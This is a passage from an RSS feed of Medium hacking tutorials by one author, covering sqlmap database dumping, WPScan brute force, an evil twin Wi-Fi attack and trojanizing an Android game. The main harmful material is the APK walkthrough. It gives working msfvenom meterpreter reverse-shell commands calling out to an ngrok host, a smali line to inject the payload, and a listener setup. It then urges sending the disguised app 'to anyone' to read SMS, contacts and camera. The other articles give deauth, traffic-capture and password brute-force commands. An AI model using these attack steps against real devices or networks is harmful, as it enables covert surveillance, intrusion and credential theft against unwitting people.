acuart — tables –batch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*4tVn17Jn6yHLEzPTfADZcg.png" /></figure><p>Now we have 8 tables, but we are interested in “users”:</p><p>sqlmap <a href="http://test.php.vulnweb.com/artists.php?artist=1">http://test.php.vulnweb.com/artists.php?artist=1</a> -D acuart -T users — columns — batch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*RKKSkSNupZEGBwfDsqXrig.png" /></figure><p>Let’s dump all the data inside these columns to get the usernames and password if any available:</p><p>sqlmap <a href="http://test.php.vulnweb.com/artists.php?artist=1">http://test.php.vulnweb.com/artists.php?artist=1</a> -D acuart -T users — columns — dump –batch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*nmDRxSKIbH0afKvQn7lCHw.png" /></figure><p>In this part the Sqlmap tool found a hash for the password and tried to crack it using brute fore and managed to crack it and gave us the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6oeYDtJm0xteOzGeYq81kQ.png" /></figure><p>Finally, we got the username “test” and the password which is “test” and also an email to use.</p><p><strong>How to Prevent against SQL Injection Attacks</strong></p><p>An organization can adopt the following policy to protect itself against SQL Injection attacks:</p><p><strong>User input should never be trusted</strong> — It must always be sanitized before it is used in dynamic SQL statements.</p><p><strong>Stored procedures</strong> — these can encapsulate the SQL statements and treat all input as parameters.</p><p><strong>Prepared statements</strong> –prepared statements to work by creating the SQL statement first then treating all submitted user data as parameters. This has no effect on the syntax of the SQL statement.</p><p><strong>Regular expressions</strong> –these can be used to detect potential harmful code and remove it before executing the SQL statements.</p><p><strong>Database connection user access rights</strong> –only necessary access rights should be given to accounts used to connect to the database. This can help reduce what the SQL statements can perform on the server.</p><p><strong>Error messages</strong> –these should not reveal sensitive information and where exactly an error occurred. Simple custom error messages such as “Sorry, we are experiencing technical errors. The technical team has been contacted. Please try again later” can be used instead of display the SQL statements that caused the error.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68624b55b2b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack Android Phones by Injecting Payload into Android Genuine Applications]]></title>
            <link>https://medium.com/@medoo53111/hack-android-phones-by-injecting-payload-into-android-genuine-applications-65b6585a76cc?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/65b6585a76cc</guid>
            <category><![CDATA[phone]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[payload]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Sun, 15 Jan 2023 11:18:45 GMT</pubDate>
            <atom:updated>2023-01-15T11:18:45.060Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*zrBCmV90MH4JEwmhlUc6FQ.png" /></figure><p><strong>BE AWARE OF: I FACED A LOT OF ERRORS AND FAILS DURING THIS PROCESS, SO THE RESULT MAY VARY WITH YOU, ALSO USE AN OLD ANDROID PHONE FOR BEST RESULT AND WORK YOUR WAY UP FROM THERE.</strong></p><p>It is possible to use a normal Android application as a payload in order to exploit any device. This test is important in every android security assessment as it would allow the penetration tester to discover if there are certain protections around the binary in place.</p><p>In this process, we are going to manually inject the payloads into Android applications using these tools:</p><p>NGrok</p><p>MSFVENOM</p><p>Metasploit</p><p>Apktool</p><p>Keytool</p><p>Jarsigner</p><p>Zipalign</p><p>First step is to download an APK file from <a href="https://www.apkmirror.com/">apkmirror.com</a>, i picked the Angry Birds game and downloaded the APK to my computer so we can inject the payload in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*wpNcBIqvgcCKopDATl7LeQ.png" /></figure><p>Next, we start ngrok to be able to star a port forwarding so we can send this payload to any one on the planet, and not just on local network:</p><p>./ngrok tcp 4444</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*gWw_N8juaMmDjFoAt7yK9w.png" /></figure><p>Then we create the payload with Msfvenom and put the ip address and port from ngrok:</p><p>msfvenom -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=15827 R&gt;fakebirds.apk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GsmghdnrYv8nrZYCW5hW9A.png" /></figure><p>Now we should have two files in the same directory, the payload we created and the normal APK file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*CY3uRgoEgxXuJdWVv1-Opw.png" /></figure><p>Using the apktool command to extract the two apks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tSW_CwaFq_Cy9yr-oOWc1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*gqouWB-uI2Q-il6gQtoseA.png" /></figure><p>Now inside the fakebirds folder navigate to fakebirds/smail/com and copy the Metasploit file to the other folder, the angrybirds folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*BjhtUHWyfqds-hM3Xowe7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*nJO7LWLoaOZkVXLdBZVCTw.png" /></figure><p>Now back to the fakebirds folder, open the file AndroidManifest.xml and also open the same file from the angrybirds folder, and copy the highlighted part from the fakebirds file to the angrybirds file, the part which contain the user permissions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*5YQCKLzqzzEgp8oE-jeWIA.png" /></figure><p>Now the angrybirds file should look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*ipGqzfwtJUxXZi3_DfJ6Ig.png" /></figure><p>Inside the file of the angrybirds (the real one) look for this line, this line is very important as it’s the first code that is executed when we run the application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2dTfiiM9EJ_VLhvDP8Tsg.png" /></figure><p>Where it says “android:name=”com.unity3d.player.UnityPlayerActivity” and now we need to find this path to reach this file and modify it, the path to this file is “/angrybirds/smali_classes2/com/unity3d/player” and open this file “UnityPlayerActivity.smali”</p><p>Inside the file make a search for “onCr”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*n6ru38zHo4lJhqDvQN_ktA.png" /></figure><p>And under this line copy and paste this line:</p><p>invoke-static {p0}, Lcom/metasploit/stage/Payload;-&gt;start(Landroid/content/Context;)V</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ycopay_QVJaBmA4NsUJ7pw.png" /></figure><p>Save it and close the file.</p><p>Next, we’re going to create a Keystroe file to hold our password for the APK file:</p><p>keytool — genkey — keystore (path to the keystore file) — alias (any name) — keyalg RSA — keysize 2048 — validity 1000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*EYBsof-zN4TgJEqrwNUKAw.png" /></figure><p>After creating the keystore, we going to use apktool again, this time to create the apk file and after that to sign it:</p><p>apktool b angrybirds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*CcFm-uyPXr9bo2NDllcLMw.png" /></figure><p>Take a look at this path “/root/Downloads/angrybirds/dist/” where the new apk file is created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*IVJj2dp2qI1B2Jsu0w2BNA.png" /></figure><p>Now to sign our apk with this command:</p><p>jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/key.keystore /root/Downloads/angrybirds/dist/angrybirds.apk hacker</p><p>You should see something like this message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*1JR_D5fGxPw9xvRKvUWEOg.png" /></figure><p>The final step is to use Zipalign to align our files into one final APK file which is the payload:</p><p>zipalign -v 4 /root/Downloads/angrybirds/dist/angrybirds.apk AngryBirds2.apk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*m75qG5vGOG_62C0-nKGHUA.png" /></figure><p>And success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*sPZv_KZU44wr5YjvzGSwnA.png" /></figure><p>Now copy this APK to the phone you want to test or upload it to some webpage or send it to anyone.</p><p>But one last step is to start a listening port with MSFCONSOLE:</p><p>use /multi/handler</p><p>set payload android/meterpreter/reverse_tcp</p><p>set lhost 0.0.0.0</p><p>set lport 4444</p><p>exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*xPiRn9RjITq0mx2FXTT4Hg.png" /></figure><p>Now as soon as the APK file is installed and opened, you will get a session back to your machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*NYmECF717k6JqVq7YhOg6w.png" /></figure><p>As we can see, the APK file looks like a legit file with the icon and size, even it will be installed without any problem or security issues:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*M5-EeA3vNuE2ZDim2jL--w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*UDF4ecP5_krpLqZUlMM7Xg.png" /></figure><p>The game started very normally and no problems at all, an we got a reverse shell back to our machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBB-7iCooN3YncTQGIUl9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*E9llyqYhXdpWndbvne7URQ.png" /></figure><p>Write help and then you can see a long list of commands to chose from, where you can control the phone, dump SMS, contacts, phone logs and start any application on the phone, even you can take a photo from the back or front camera.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65b6585a76cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack WordPress Sites with WPSCAN]]></title>
            <link>https://medium.com/@medoo53111/hack-wordpress-sites-with-wpscan-d6d16256b387?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6d16256b387</guid>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Sun, 15 Jan 2023 11:01:17 GMT</pubDate>
            <atom:updated>2023-01-15T11:01:17.410Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*u7jpkT9454bE4QLa4ea4vg.png" /></figure><p>WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues.</p><p>This tool is the first thing to run on your WordPress site if you own one, it will give you a lot of information of your site and from there you can protect your site.</p><p>First to install the tool on your machine is to run “apt install wpscan” the tool is already installed on Kali Linux.</p><p>Let’s view the help screen for wpscan by running “ wpscan –help”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*as8rks5cyHq6boNSN5zZNA.png" /></figure><p>We are interested in enumerating “themes-plugins-usernames”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*wIUxoF5lDSXIDgyMXMpHAA.png" /></figure><p>Scanning the box with “wpscan –url &lt;site_address&gt; -e u” to enumerate for the usernames if found on the site:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H2BqtONYpkAJIpD-BNDlzw.png" /></figure><p>We found two username “admin” and “joe”.</p><p>Now we can run a brute force against these usernames using the same tool Wpscan, we need to change few parameters in order to make the brute force work:</p><p>wpscan –url &lt;site_address&gt; -P &lt;path_to_password_file&gt; -U admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*aD7I6MK7H4Y1VnscIbS-DA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QSviW98KhaQchnqlYklv4Q.png" /></figure><p>The brute force is completed with success, and we found the password for the admin user “iubire”, we can confirm that by visiting the login page and try to log in with these credentials.</p><p>Bounce, what i did is i used “dirb” to brute force the site pages and find the login page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*ZVgkOAKjSi1SOUReg9D5KA.png" /></figure><p>The login page is “/wp-admin/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*g3W0g3bpE1_ef5F7HfXIUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1z1CDkIDya-Fw5aHDJA7Q.png" /></figure><p>We logged in using the username and password we got using wpscan tool, sometimes you can only find the username but the password is hard to brute force, so the next step is to enumerate the themes and plugins trying to find vulnerable plugin or theme and then search for the right exploit to gain access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQx2XCyJi7bdtY_4JmH0aw.png" /></figure><p>wpscan — url &lt;site_address&gt; -e — plugins-detection aggressive</p><p>This command will enumerate for plugins and themes in an aggressive method and will find all the plugins weather it’s vulnerable or not, providing the methods of how to exploit the vulnerable ones.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6d16256b387" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Create Evil Twin Wireless Network Using Airbase-ng]]></title>
            <link>https://medium.com/@medoo53111/create-evil-twin-wireless-network-using-airbase-ng-b89b8a44503d?source=rss-9237bc105976------2</link>
            <guid isPermaLink="false">https://medium.com/p/b89b8a44503d</guid>
            <category><![CDATA[evil-twin-attack]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[wifi]]></category>
            <dc:creator><![CDATA[M.Khfaga]]></dc:creator>
            <pubDate>Sun, 15 Jan 2023 10:57:08 GMT</pubDate>
            <atom:updated>2023-01-15T10:57:08.148Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ug2L8GUwuhgTw-lAqe1cDA.png" /></figure><p>Airbase-ng is an evil twin wireless network, where the targets will connect to it and still be able to use the internet as we will provide the internet for them to continue working without any distribution, and with them connected to our evil twin network it will be monitored and logged in order to capture sensitive information such as login passwords.</p><p>To create the evil twin wireless network, we’re going to use the airbase-ng, also we going to need a WIFI card that’s able to performs monitor mode and injection mode.</p><p>First, we need to install “dnsmasq” as it will be used to forward the dns traffics, just install it by “apt install dnsmasq”:</p><p>Then, create a new file with the dnsmasq configurations:</p><p>interface=at0</p><p>dhcp-range=192.168.1.15,192.168.1.100,12h</p><p>dhcp-options=3,192.168.1.1</p><p>dhcp-options6,192.168.1.1</p><p>server=8.8.8.8</p><p>server=8.8.4.4</p><p>log-queries</p><p>log-dhcp</p><p>listen-address=127.0.0.1</p><p>Save it on your desktop as “dnsmasq.conf”</p><p>Now, let’s explain what are these commands doing line by line:</p><p>“interface=at0” is the interface that will be created by Airbase-ng.</p><p>“dhcp-range=192.168.1.15,192.168.1.100,12h” we decide the dhcp range of IP’s, it’s up to you as in my case i chose the range to be from .15-.100 and “12h” is the lease time.</p><p>“dhcp-options=3,192.168.1.1” options3 in case we have multiple gateways in our configuration file.</p><p>“dhcp-options6,192.168.1.1” option6 this will distribute the clients IP’s on the gateways identified by options3.</p><p>“Server=8.8.8.8” adding different dns like Google</p><p>The last step is to log any queries and dhcp traffics.</p><p>Now, we will put out WIFI card into monitor mode by running:</p><p>“airmon-ng start wlan0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IHYuqf4e3NIOV4N8TFgJsA.png" /></figure><p>To start scanning for WIFI around us we will use:</p><p>airodump-ng wlan0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0XQ_3fBkjkMcLdhuEc0aDw.png" /></figure><p>Leave it running to scan for all the WIFI’s in the area and find the target we need, and while it’s running, we’re going to start the Airbase-ng to create the Evil-Twin network, of course by now we have chosen one of these networks to duplicate by Airbase-ng:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mLPF5ZzHY7MQsmdPalq5rA.png" /></figure><p>By starting Airbase-ng we created the interface “at0”.</p><p>The next part is to enter some commands in order to configure the internet for the victim, as we need him to continue using the internet coming from our WIFI interface “at0” and in the same time we will log all his traffic including websites that’s he visiting and usernames and passwords he enters.</p><p>“ifconfig at0 up” to make sure the interface is up and running.</p><p>“ifconfig at0 192.168.1.1 netmask 255.255.255.0” configure the interface to use our netmask.</p><p>“route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1” configure the internet rout to use out gateway.</p><p>“iptables –flush” clear the iptables.</p><p>“iptables — table nat — append POSTROUTING — out-interface eth0 -j MASQUERADE” the POSTROUTING is to control the flow of the traffic outbound the interface “eth0”, the MASQUERADE is to control the outgoing traffic without disturbing the original traffics on our machine.</p><p>“iptables — append FORWARD — interface at0 -j ACCEPT” start port forwarding on the interface “at0”.</p><p>“iptables -t nat -A PREROUTING -p tcp — dport 80 -j DNAT — to-destination 192.168.1.1:80” the PREROUTING is to control the traffics Inbound through the gateway 192.168.1.1 and port 80.</p><p>“iptables -t nat -A POSTROUTING -j MASQUERADE” just adding MASQUERADE to the Inbound interface to make sure no disturbance with the original traffics on our machine.</p><p>“echo 1 &gt; /proc/sys/net/ipv4/ip_forward” to activate the port forwarding on our machine.</p><p>Now we need to Deauth any connected device on the target WIFI suing Aireplay-ng, to disconnect them from the target and connect to our Evil-Twin WIFI:</p><p>aireplay-ng –deauth 0 -a [BSSID of the target WIFI] wlan0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CUz9KVN-gXJjAn06RFbg9g.png" /></figure><p>At this time all we have to do is wait for the target to disconnect from his network and connect to ours:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*YuqUZxk0pHviCJKUixgzJA.png" /></figure><p>Take a look at this, the first WIFI is our Evil-Twin network we have created, and it’s open to any one to connect to, and the third WIFI is the victim WIFI and of course it’s locked or password protected and with the same name.</p><p>Now the target made a connection to our WIFI, let’s take a look at the dsnmsq part:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*1phRZCirg7uYnXMzbvULEw.png" /></figure><p>There are a lot of traffics that’s going on in here, but if we want to see more in details, we can run Wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BWGwcTRSwl7EQ479ud4unQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vsu0pQ2UEQdIRMYfzbyhzg.png" /></figure><p>You can use filters like tcp or https to look for specific information like sites logins to capture passwords or any sensitive information that you want.</p><p>Also, you can run MITM attack using “Ettercap”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b89b8a44503d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>